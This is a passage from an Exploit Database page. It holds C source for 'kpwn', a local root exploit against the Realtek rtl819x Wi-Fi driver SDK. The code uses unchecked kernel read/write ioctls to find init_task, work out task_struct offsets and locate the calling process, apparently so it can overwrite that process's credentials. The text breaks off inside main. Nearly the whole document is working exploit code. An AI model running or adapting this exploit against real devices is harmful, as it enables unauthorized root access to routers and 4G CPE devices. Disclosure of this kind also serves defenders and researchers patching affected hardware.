- What: Local privilege escalation vulnerability in Realtek rtl819x
- Impact: Allows unauthorized access to system resources
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youโve provided to them or that theyโve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Realtek rtl819x - Local Privilege EDB-ID: 52580 CVE: 2026-36355 EDB Verified: Author: DANIIL GORDEEV Type: LOCAL Exploit: / Platform: LINUX Date: 2026-05-27 Vulnerable App: * Exploit Title: Realtek rtl819x - Local Privilege Escalation * Date: 2026-05-03 * Exploit Author: Daniil Gordeev * Vendor Homepage: http://www.realtek.com * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release) * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE) * CVE: CVE-2026-36355 * * kpwn - RTL8192CD kernel LPE exploit * * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem) * in the Realtek rtl819x out-of-tree WiFi driver SDK. * * Runs as ANY unprivileged user โ no root needed at any stage. * Auto-detects task_struct offsets from init_task. * * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc. * * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c * Usage: /tmp/kpwn (any user, GID 3003/inet on paranoid kernels) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <dirent.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/wireless.h> #define IOCTL_WRITE 0x89F5 /* SIOCDEVPRIVATE+5: write_mem */ #define IOCTL_READ 0x89F6 /* SIOCDEVPRIVATE+6: read_mem */ /* kernel .data scan range for init_task (ARM, no KASLR) */ #define DATA_SCAN_START 0xC0800000 #define DATA_SCAN_END 0xC1000000 static int sockfd = -1; static int nioctls = 0; static char ifname[IFNAMSIZ]; /* ---- kernel R/W primitives ---- */ static int kread(unsigned long addr, void *out, int ndw) { struct iwreq wrq; char buf[256]; if (ndw > 32) ndw = 32; snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_READ, &wrq) < 0) return -1; nioctls++; int n = wrq.u.data.length; if (n > 0 && out) memcpy(out, buf, n > 128 ? 128 : n); return n; } static unsigned int kread32(unsigned long addr) { unsigned int v = 0; kread(addr, &v, 1); return v; } static int kfill(unsigned long addr, int ndw, unsigned int val) { struct iwreq wrq; char buf[256]; snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0) return -1; nioctls++; return 0; } /* ---- find vulnerable interface ---- */ static int find_interface(void) { DIR *d = opendir("/sys/class/net"); if (!d) return -1; struct dirent *e; unsigned int probe; while ((e = readdir(d))) { if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0) continue; strncpy(ifname, e->d_name, IFNAMSIZ - 1); probe = 0; if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) { closedir(d); return 0; } } closedir(d); return -1; } /* ---- resolve init_task ---- */ static unsigned long scan_for_init_task(void) { /* * Brute-force: scan kernel .data for init_task.comm = "swapper". * Validate by checking cred pointer (must dereference to uid=0, gid=0). * * The returned base doesn't need to be exact โ detect_offsets finds * all field positions relative to the base, and the math in find_task * and the overwrite phase uses (base + offset) pairs where any constant * shift cancels out. We just need "swapper" to land within the * detect_offsets search window (0x200-0x5F0 from returned base). */ unsigned char buf[128]; unsigned long addr; printf("[*] Scanning .data for init_task...\n"); for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) { if (kread(addr, buf, 32) <= 0) continue; int j; for (j = 0; j <= 128 - 7; j += 4) { if (memcmp(buf + j, "swapper", 7) != 0) continue; unsigned long comm_addr = addr + j; /* validate: cred pointer just before comm โ {usage, uid=0, gid=0} */ unsigned int cred_ptr; if (kread(comm_addr - 4, &cred_ptr, 1) <= 0) continue; if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF) continue; unsigned int chk[3]; if (kread(cred_ptr, chk, 3) <= 0) continue; if (chk[0] < 1 || chk[0] >= 10000) /* usage refcount */ continue; if (chk[1] != 0 || chk[2] != 0) /* uid=0, gid=0 */ continue; /* * Return comm_addr - 0x400 as base. This places comm at * offset 0x400 in the detect_offsets window (well within * the 0x200-0x5F0 search range). The base doesn't need * to be the true struct start โ all offset math cancels. */ unsigned long base = comm_addr - 0x400; printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base); return base; } } return 0; } static unsigned long resolve_init_task(void) { return scan_for_init_task(); } /* ---- auto-detect task_struct layout ---- */ struct offsets { unsigned long tasks, pid, cred, comm; }; static int detect_offsets(unsigned long init, struct offsets *o) { unsigned char data[0x600]; int i; /* bulk-read init_task (12 reads, 128 bytes each) */ for (i = 0; i < 0x600; i += 128) if (kread(init + i, data + i, 32) <= 0) { printf("[-] Read init_task+0x%x failed\n", i); return -1; } /* comm: find "swapper" string โ unique, most reliable anchor */ o->comm = 0; for (i = 0x200; i < 0x5F0; i += 4) if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; } if (!o->comm) { printf("[-] 'swapper' not found in init_task\n"); return -1; } /* cred: kernel pointer just before comm โ dereferences to {usage, uid=0, gid=0} */ o->cred = 0; for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) { unsigned int val = *(unsigned int *)(data + i); if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) { unsigned int chk[3]; if (kread(val, chk, 3) > 0 && chk[0] >= 1 && chk[0] < 10000 && chk[1] == 0 && chk[2] == 0) { o->cred = i; break; } } } if (!o->cred) { printf("[-] Cred pointer not found near comm\n"); return -1; } /* tasks: non-self-referencing list_head with valid chain and printable comm at next */ o->tasks = 0; for (i = 0x100; i < 0x300; i += 4) { unsigned int next = *(unsigned int *)(data + i); unsigned int prev = *(unsigned int *)(data + i + 4); if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue; if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue; if (next == (unsigned int)(init + i)) continue; unsigned int nn = kread32(next); if ((nn & 0xC0000000) != 0xC0000000) continue; unsigned long next_base = (unsigned long)next - i; char tc[8] = {0}; if (kread(next_base + o->comm, tc, 2) > 0 && tc[0] >= 0x20 && tc[0] < 0x7F) { o->tasks = i; break; } } if (!o->tasks) { printf("[-] Tasks list_head not found\n"); return -1; } /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */ o->pid = 0; unsigned int tasks_next = *(unsigned int *)(data + o->tasks); unsigned long first_base = (unsigned long)tasks_next - o->tasks; unsigned int second_ptr = kread32(tasks_next); unsigned long second_base = (unsigned long)second_ptr - o->tasks; for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) { if (*(unsigned int *)(data + i) != 0) continue; if (*(unsigned int *)(data + i + 4) != 0) continue; /* pid=0 AND tgid=0 */ unsigned int p1 = kread32(first_base + i); if (p1 == 0 || p1 >= 32768) continue; unsigned int p2 = kread32(second_base + i); if (p2 == 0 || p2 >= 32768) continue; if (p1 == p2) continue; o->pid = i; break; } if (!o->pid) { printf("[-] PID offset not found\n"); return -1; } return 0; } /* ---- walk task list backward (newest first, 1 ioctl per task) ---- */ static unsigned long find_task(unsigned long init, struct offsets *o, pid_t pid, int *walked) { unsigned long head = init + o->tasks; unsigned int buf[32]; unsigned long cur; int batch = 0; int span = 0; *walked = 0; /* if pid and tasks fit in one 32-dword read, batch them */ if (o->pid > o->tasks) { span = (o->pid - o->tasks) / 4 + 1; if (span <= 32) batch = 1; } /* walk backward: tasks.prev (offset +4) points to newest task */ cur = kread32(head + 4); for (int i = 0; i < 512; i++) { if (cur == head || cur == 0) break; unsigned long base = cur - o->tasks; unsigned int p; unsigned long prev; if (batch) { /* single read gets tasks.next, tasks.prev, and pid */ if (kread(cur, buf, span) <= 0) break; prev = buf[1]; /* tasks.prev = next older task */ p = buf[(o->pid - o->tasks) / 4]; } else { /* fallback: two individual reads */ p = kread32(base + o->pid); prev = kread32(cur + 4); } (*walked)++; if (p == (unsigned int)pid) return base; cur = prev; } return 0; } /* ---- main ---- */ int main(void) { uid_t orig_uid = getuid(); gid_t orig_gid = getgid(); pid_t pid = getpid(); printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n"); printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid); /* socket */ printf("[*] Creating socket...\n"); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { printf("[-] socket: %s\n", strerror(errno)); if (errno == EACCES) printf("[-] Need GID 3003 (inet) on paranoid kernels\n"); return 1; } /* find vulnerable interface */ printf("[*] Scanning interfaces...\n"); if (find_interface() < 0) { printf("[-] No rtl819x interface found\n"); return 1; } printf("[+] %s โ read primitive confirmed\n", ifname); /* resolve init_task */ printf("[*] Resolving init_task...\n"); unsigned long init = resolve_init_task(